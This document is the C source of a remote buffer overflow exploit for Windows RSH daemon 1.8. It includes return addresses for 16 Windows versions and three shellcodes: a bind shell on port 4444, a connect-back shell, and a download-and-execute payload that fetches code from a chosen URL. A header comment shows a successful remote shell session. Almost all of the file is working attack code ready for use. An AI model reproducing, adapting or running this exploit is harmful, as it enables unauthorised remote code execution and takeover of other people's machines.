|
/* Windows RSH daemon <=1.8 remote exploit * ======================================= * rshd is a multithreaded daemon service that listens for connections on port 514 * (tcp port for the shell/cmd protocol), runs commands passed by clients and sends back the * results. Insufficient bounds checking performed during memory copy operation in RSH daemon * makes the service susciptible to a remotely exploitable buffer overflow condition. * * Example Use. * debian:~/prdelka-vs-MS-rshd# ./prdelka-vs-MS-rshd -s 192.168.184.131 -x 0 -t 12 2>/dev/null * [ Windows RSH daemon 1.8 remote exploit * [ Using shellcode 'Win32 x86 bind() shellcode (4444/tcp default)' (400 bytes) * [ Using target 'Windows 2000 5.0.0.0 SP0 (x86)' * [ Connected to 192.168.184.131 (514/tcp) * [ Connecting to shell on 192.168.184.131 (4444/tcp) * Microsoft Windows 2000 [Version 5.00.2195] * (C) Copyright 1985-1999 Microsoft Corp. * * dir * C:\Program Files\rshd\bin>dir * Volume in drive C has no label. * Volume Serial Number is C0F4-19C8 * * Directory of C:\Program Files\rshd\bin * * 26/07/2007 15:18 <DIR> . * 26/07/2007 15:18 <DIR> .. * 26/07/2007 15:18 73,728 rshd.exe * 1 File(s) 73,728 bytes * 2 Dir(s) 6,839,975,936 bytes free * * - prdelka */ #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <netdb.h> #include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <getopt.h> #include <signal.h> #include "libtag/libtag.h"
void handler(int sig);
struct target { char* name; int retaddr; };
struct shellcode { char* name; short port; int host; char* shellcode; };
const int targetno = 16;
struct target targets[] = { {"Windows XP 5.1.1.0 & 5.1.0.0 SP1 (x86)",0x71ab7bfb}, {"Windows 2003 Server 5.2.1.0 SP1 (x86)",0x71c033a0}, {"Windows 2003 Server 5.2.0.0 SP0 (x86)",0x71c03c4d}, {"Windows 2003 Server 5.2.1.0 SP1 (x86)",0x71c0866c}, {"Windows 2000 5.0.3.0 SP3 (x86)",0x75031c5a}, {"Windows 2000 5.0.2.0 SP2 (x86)",0x75031d2f}, {"Windows 2000 5.0.1.0 SP1 (x86)",0x75031d85}, {"Windows 2000 5.0.4.0 SP4 (x86)",0x75031dce}, {"Windows 2000 5.0.0.0 SP0 (x86)",0x75033240}, {"Windows 2000 5.0.2.0 SP2 (x86)",0x7503431b}, {"Windows 2000 5.0.1.0 SP1 (x86)",0x75035173}, {"Windows 2000 5.0.0.0 SP0 (x86)",0x750362c3}, {"Windows NT 4.0.6.0 SP6 (x86)",0x776b58c1}, {"Windows NT 4.0.5.0 SP5 (x86)",0x776bd5f3}, {"Windows NT 4.0.5.0 SP5 (x86)",0x776bd6bb}, {"Windows NT 4.0.5.0 SP5 (x86)",0x776bd70b} };
const int shellno = 3;
struct shellcode shellcodes[] = { {"Win32 x86 bind() shellcode (4444/tcp default)",162,-1, "\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45" "\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49" "\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d" "\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66" "\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61" "\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40" "\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32" "\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6" "\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09" "\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0" "\x66\x68\x11\x5c\x66\x53\x89\xe1\x95\x68\xa4\x1a\x70\xc7\x57\xff" "\xd6\x6a\x10\x51\x55\xff\xd0\x68\xa4\xad\x2e\xe9\x57\xff\xd6\x53" "\x55\xff\xd0\x68\xe5\x49\x86\x49\x57\xff\xd6\x50\x54\x54\x55\xff" "\xd0\x93\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff\xd0\x66\x6a\x64" "\x66\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89" "\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93\x8d\x7a\x38\xab" "\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44\xff\xd6\x5b\x57\x52\x51" "\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53" "\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83\xc4\x64\xff\xd6" "\x52\xff\xd0\x68\xf0\x8a\x04\x5f\x53\xff\xd6\xff\xd0"}, {"Win32 x86 connect() shellcode (4444/tcp default)",167,160, "\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45" "\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49" "\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d" "\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66" "\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61" "\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40" "\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32" "\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6" "\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09" "\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0\x68" "\xc0\xa8\x0d\x82\x66\x68\x11\x5c\x66\x53\x89\xe1\x95\x68\xec\xf9" "\xaa\x60\x57\xff\xd6\x6a\x10\x51\x55\xff\xd0\x66\x6a\x64\x66\x68" "\x63\x6d\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89\xe2\x31\xc0\xf3" "\xaa\x95\x89\xfd\xfe\x42\x2d\xfe\x42\x2c\x8d\x7a\x38\xab\xab\xab" "\x68\x72\xfe\xb3\x16\xff\x75\x28\xff\xd6\x5b\x57\x52\x51\x51\x51" "\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53\xff\xd6" "\x6a\xff\xff\x37\xff\xd0\x68\xe7\x79\xc6\x79\xff\x75\x04\xff\xd6" "\xff\x77\xfc\xff\xd0\x68\xf0\x8a\x04\x5f\x53\xff\xd6\xff\xd0"}, {"Win32 x86 download & exec() shellcode",-1,-1, "\xeb\x10\x5a\x4a\x33\xc9\x66\xb9\x3c\x01\x80\x34\x0a\x99\xe2\xfa" "\xeb\x05\xe8\xeb\xff\xff\xff\x70\x4c\x99\x99\x99\xc3\xfd\x38\xa9" "\x99\x99\x99\x12\xd9\x95\x12\xe9\x85\x34\x12\xd9\x91\x12\x41\x12" "\xea\xa5\x12\xed\x87\xe1\x9a\x6a\x12\xe7\xb9\x9a\x62\x12\xd7\x8d" "\xaa\x74\xcf\xce\xc8\x12\xa6\x9a\x62\x12\x6b\xf3\x97\xc0\x6a\x3f" "\xed\x91\xc0\xc6\x1a\x5e\x9d\xdc\x7b\x70\xc0\xc6\xc7\x12\x54\x12" "\xdf\xbd\x9a\x5a\x48\x78\x9a\x58\xaa\x50\xff\x12\x91\x12\xdf\x85" "\x9a\x5a\x58\x78\x9b\x9a\x58\x12\x99\x9a\x5a\x12\x63\x12\x6e\x1a" "\x5f\x97\x12\x49\xf3\x9d\xc0\x71\xc9\x99\x99\x99\x1a\x5f\x94\xcb" "\xcf\x66\xce\x65\xc3\x12\x41\xf3\x98\xc0\x71\xa4\x99\x99\x99\x1a" "\x5f\x8a\xcf\xdf\x19\xa7\x19\xec\x63\x19\xaf\x19\xc7\x1a\x75\xb9" "\x12\x45\xf3\xb9\xca\x66\xce\x75\x5e\x9d\x9a\xc5\xf8\xb7\xfc\x5e" "\xdd\x9a\x9d\xe1\xfc\x99\x99\xaa\x59\xc9\xc9\xca\xcf\xc9\x66\xce" "\x65\x12\x45\xc9\xca\x66\xce\x69\xc9\x66\xce\x6d\xaa\x59\x35\x1c" "\x59\xec\x60\xc8\xcb\xcf\xca\x66\x4b\xc3\xc0\x32\x7b\x77\xaa\x59" "\x5a\x71\xbf\x66\x66\x66\xde\xfc\xed\xc9\xeb\xf6\xfa\xd8\xfd\xfd" "\xeb\xfc\xea\xea\x99\xde\xfc\xed\xca\xe0\xea\xed\xfc\xf4\xdd\xf0" "\xeb\xfc\xfa\xed\xf6\xeb\xe0\xd8\x99\xce\xf0\xf7\xdc\xe1\xfc\xfa" "\x99\xdc\xe1\xf0\xed\xcd\xf1\xeb\xfc\xf8\xfd\x99\xd5\xf6\xf8\xfd" "\xd5\xf0\xfb\xeb\xf8\xeb\xe0\xd8\x99\xec\xeb\xf5\xf4\xf6\xf7\x99" "\xcc\xcb\xd5\xdd\xf6\xee\xf7\xf5\xf6\xf8\xfd\xcd\xf6\xdf\xf0\xf5" "\xfc\xd8\x99"} };
void handler(int sig){ printf("\n\e[34m\[ caught signal, reseting the terminal display.\r\n\e[0m"); exit(sig); }
void shell(int sd) { int rcv; char sockbuf[2048]; fd_set readfds; printf("\e[32m\e[1m"); while (1) { FD_ZERO(&readfds); FD_SET(0, &readfds); FD_SET(sd, &readfds); select(255, &readfds, NULL, NULL, NULL); if (FD_ISSET(sd, &readfds)) { memset(sockbuf, 0, 2048); rcv = read(sd, sockbuf, 2047); if (rcv <= 0) { printf("\n\e[1m\e[34m[ Connection closed by foreign host.\n\e[0m"); exit(-1); } printf("%s", sockbuf); } if(FD_ISSET(0, &readfds)) { memset(sockbuf, 0, 2048); read(0, sockbuf, 2047); send(sd, sockbuf, strlen(sockbuf),0); } } }
void shellbind_prelude(struct sockaddr_in servAddr, short shellport2){ int sd, rc; sleep(1); sd = socket(AF_INET, SOCK_STREAM, 0); servAddr.sin_port = htons(shellport2); rc = connect(sd, (struct sockaddr *) &servAddr, sizeof(servAddr)); if(rc<0){ printf("[ Cannot connect to foreign host.\n\e[0m"); exit(1); } shell(sd); }
void shellconnect_prelude(struct sockaddr_in servAddr,struct sockaddr_in locAddr, short shellport2){ int sd; sd = socket(AF_INET,SOCK_STREAM,0); memset(&servAddr,0,sizeof servAddr); servAddr.sin_family = AF_INET; servAddr.sin_port = htons(shellport2); servAddr.sin_addr.s_addr = INADDR_ANY; if((bind(sd,(struct sockaddr *)&servAddr,sizeof(struct sockaddr))) == -1){ printf("[ Cannot bind listener service\e[0m\n"); exit(-1); } printf("[ Waiting for connection\n"); listen(sd,4); int sin_size = sizeof(struct sockaddr_in); sd = accept(sd,(struct sockaddr *)&locAddr,&sin_size); if(sd == -1){ printf("[ Connection from foreign host not found.\e[0m\n"); exit(1); } printf("[ Connection from foreign host found.\n"); shell(sd); }
int main (int argc, char *argv[]) { int sd, rc, sc, i, c, ret, paya, payg, eip, ishell = 0, port = 514, ihost = 0, itarg = 0, iok = 0; int count, offset, ioffset,rcv, lhost, index = 0,loffset = 0; short shellport, shellport2; char *host, *buffer, *buffer2, *payload, *sockbuf; struct sockaddr_in locAddr, servAddr; struct hostent *h, *rv; static struct option options[] = { {"server", 1, 0, 's'}, {"port", 1, 0, 'p'}, {"target", 1, 0, 't'}, {"shellcode", 1, 0, 'x'}, {"shellhost", 1, 0, 'i'}, {"shellport", 1, 0, 'c'}, {"shellurl", 1, 0, 'u'}, {"help", 0, 0,'h'} }; signal(SIGINT,handler); tag(); printf("\e[1m\e[34m[ Windows RSH daemon 1.8 remote exploit\n"); while(c != -1) { c = getopt_long(argc,argv,"s:p:t:x:hc:i:u:",options,&index); switch(c) { case -1: break; case 's': if(ihost==0){ h = gethostbyname(optarg); if(h==NULL){ printf("[ Error unknown host '%s'\n",optarg); exit(1); } host = malloc(strlen(optarg) + 1); sprintf(host,"%s",optarg); ihost = 1; } break; case 'p': port = atoi(optarg); break; case 'x': if(ishell==0) { payg = atoi(optarg); switch(payg){ case 0: printf("[ Using shellcode '%s' (%d bytes)\n",shellcodes[payg].name,strlen(shellcodes[payg].shellcode)); payload = malloc(strlen(shellcodes[payg].shellcode)+1); memset(payload,0,strlen(shellcodes[payg].shellcode)+1); memcpy((void*)payload,(void*)shellcodes[payg].shellcode,strlen(shellcodes[payg].shellcode)); shellport2 = 4444; ishell = 1; break; case 1: printf("[ Using shellcode '%s' (%d bytes)\n",shellcodes[payg].name,strlen(shellcodes[payg].shellcode)); payload = malloc(strlen(shellcodes[payg].shellcode)+1); memset(payload,0,strlen(shellcodes[payg].shellcode)+1); memcpy((void*)payload,(void*)shellcodes[payg].shellcode,strlen(shellcodes[payg].shellcode)); shellport2 = 4444; ishell = 1; break; case 2: printf("[ Using shellcode '%s' (%d bytes)\n",shellcodes[payg].name,strlen(shellcodes[payg].shellcode)); payload = malloc(strlen(shellcodes[payg].shellcode)+1); memset(payload,0,strlen(shellcodes[payg].shellcode)+1); memcpy((void*)payload,(void*)shellcodes[payg].shellcode,strlen(shellcodes[payg].shellcode)); shellport2 = 4444; ishell = 1; break; default: printf("[ Invalid shellcode selection %d\n",payg); exit(0); break; } } break; case 'c': if(ishell==1) { if(shellcodes[payg].port > -1) { paya = strlen(payload); shellport = atoi(optarg); shellport2 = shellport; shellport =(shellport&0xff)<<8 | shellport>>8; memcpy((void*)&payload[shellcodes[payg].port],&shellport,sizeof(shellport)); if(paya > strlen(payload)) { printf("[ Error shellcode port introduces null bytes\e[0m\n"); exit(1); } } else{ printf("[ (%s) port selection is ignored for current shellcode\n",optarg); } } else{ printf("[ No shellcode selected yet, ignoring (%s) port selection\n",optarg); break; } break; case 'i': if(ishell==1){ if(shellcodes[payg].host > -1){ paya = strlen(payload); lhost = inet_addr(optarg); memcpy((void*)&payload[shellcodes[payg].host],&lhost,sizeof(lhost)); if(paya > strlen(payload)){ printf("[ Error shellhost introduces null bytes\e[0m\n"); exit(1); } } else{ printf("[ (%s) shellhost selection is ignored for current shellcode\n",optarg); } } else{ printf("[ No shellcode selected yet, ignoring (%s) shellhost selection\n",optarg); } break; case 'u': if(ishell==1){ if(payg == 2){ // add extra malloc + recopy new shellcode (free old one?) printf("[ Set download & exec URL to '%s'\r\n",optarg); payload = malloc(strlen(shellcodes[payg].shellcode)+strlen(optarg)+2); memset(payload,0,strlen(shellcodes[payg].shellcode)+strlen(optarg)+2); memcpy((void*)payload,(void*)shellcodes[payg].shellcode,strlen(shellcodes[payg].shellcode)); strcat(payload,optarg); strcat(payload,"\x80"); } else{ printf("[ (%s) shellurl selection is ignored for current shellcode\n",optarg); } } else{ printf("[ No shellcode selected yet, ignoring (%s) shellurl selection\n",optarg); } break; case 't': if(itarg==0){ ret = atoi(optarg); switch(ret){ case 1: printf("[ Using target '%s'\n",targets[ret-1].name); eip = targets[ret-1].retaddr; break; case 2: printf("[ Using target '%s'\n",targets[ret-1].name); eip = targets[ret-1].retaddr; break; case 3: printf("[ Using target '%s'\n",targets[ret-1].name); eip = targets[ret-1].retaddr; break; case 4: printf("[ Using target '%s'\n",targets[ret-1].name); eip = targets[ret-1].retaddr; break; case 5: printf("[ Using target '%s'\n",targets[ret-1].name); eip = targets[ret-1].retaddr; break; case 6: printf("[ Using target '%s'\n",targets[ret-1].name); eip = targets[ret-1].retaddr; break; case 7: printf("[ Using target '%s'\n",targets[ret-1].name); eip = targets[ret-1].retaddr; break; case 8: printf("[ Using target '%s'\n",targets[ret-1].name); eip = targets[ret-1].retaddr; break; case 9: printf("[ Using target '%s'\n",targets[ret-1].name); eip = targets[ret-1].retaddr; break; case 10: printf("[ Using target '%s'\n",targets[ret-1].name); eip = targets[ret-1].retaddr; break; case 11: printf("[ Using target '%s'\n",targets[ret-1].name); eip = targets[ret-1].retaddr; break; case 12: printf("[ Using target '%s'\n",targets[ret-1].name); eip = targets[ret-1].retaddr; break; case 13: printf("[ Using target '%s'\n",targets[ret-1].name); eip = targets[ret-1].retaddr; break; case 14: printf("[ Using target '%s'\n",targets[ret-1].name); eip = targets[ret-1].retaddr; break; case 15: printf("[ Using target '%s'\n",targets[ret-1].name); eip = targets[ret-1].retaddr; break; case 16: printf("[ Using target '%s'\n",targets[ret-1].name); eip = targets[ret-1].retaddr; break; default: eip = strtoul(optarg,NULL,16); printf("[ Using return address '0x%x'\n",eip); break; } itarg = 1; } break;//of all the places our bytez have been and wonderous codez weve seen case 'h': //we follow you down darkest paths - long live the exploit scene printf("[ Usage instructions.\n[\n"); printf("[ %s <required> (optional)\n[\n[ --server|-s <ip/hostname>\n",argv[0]); printf("[ --port|-p (port)[default 514]\n[ --shellcode|-x <shell#>\n"); printf("[ --target|-t <target#/0xretaddr>\n[ --shellhost|-i (ip)\n"); printf("[ --shellport|-c (port)\n[ --shellurl|-u (http://a.b.c.d/bin.exe)\n[\n"); printf("[ Target#'s\n"); for(count = 1;count <= targetno;count++){ if(count<10){ printf("[ %d \"%s\" (0x%x)\n",count,targets[count-1],targets[count-1]); } else{ printf("[ %d \"%s\" (0x%x)\n",count,targets[count-1],targets[count-1]); } } printf("[\n[ Shellcode#'s\n"); for(count = 0;count <= shellno - 1;count++){ printf("[ %d \"%s\" (length %d bytes)\n",count,shellcodes[count].name,strlen(shellcodes[count].shellcode)); } printf("\e[0m"); exit(0); break; default: break; } } if(itarg != 1 || ihost != 1 || ishell <= 0){ printf("[ Error insufficient arguements, try running '%s --help'\e[0m\n",argv[0]); exit(1); } sd = socket(AF_INET, SOCK_STREAM, 0); if(sd<0) { printf("[ Cannot open socket\e[0m\n"); exit(1); } bzero (&servAddr, sizeof(servAddr)); servAddr.sin_family = AF_INET; servAddr.sin_port = htons(514); if(bind(sd,(struct sockaddr *)&servAddr,sizeof(struct sockaddr_in))<0){ printf("[ Cannot bind to port 514/tcp - do you trust me as root?\e[0m\n"); exit(1); } servAddr.sin_family = h->h_addrtype; memcpy((char *) &servAddr.sin_addr.s_addr, h->h_addr_list[0], h->h_length); servAddr.sin_port = htons(port); rc = connect(sd, (struct sockaddr *) &servAddr, sizeof(servAddr)); if(rc<0) { printf("[ Cannot connect\e[0m\n"); exit(1); } printf("[ Connected to %s (%d/tcp)\n",host,port); buffer = malloc(2048 + strlen(payload) + sizeof(eip)); memset(buffer,0,2048 + strlen(payload) + sizeof(eip)); memcpy(buffer,"\x00\x78\x00\x78\x00",5); memset(buffer+5,"x",1028); buffer2 = (char*)((int)buffer + 1029); memcpy((void*)buffer2,(void*)&eip,sizeof(eip)); buffer2 = (char*)((int)buffer2 + sizeof(eip)); memcpy((void*)buffer2,(void*)payload,strlen(payload)); sc+= send(sd,buffer,2048,0); switch(payg){ case 0: printf("[ Connecting to shell on %s (%d/tcp)\n",host,shellport2); shellbind_prelude(servAddr,shellport2); break; case 1: shellconnect_prelude(servAddr,locAddr,shellport2); break; default: printf("[ Exploit success? Your payload does not require management.\e[0m\n"); exit(0); break; } exit(-1); }
|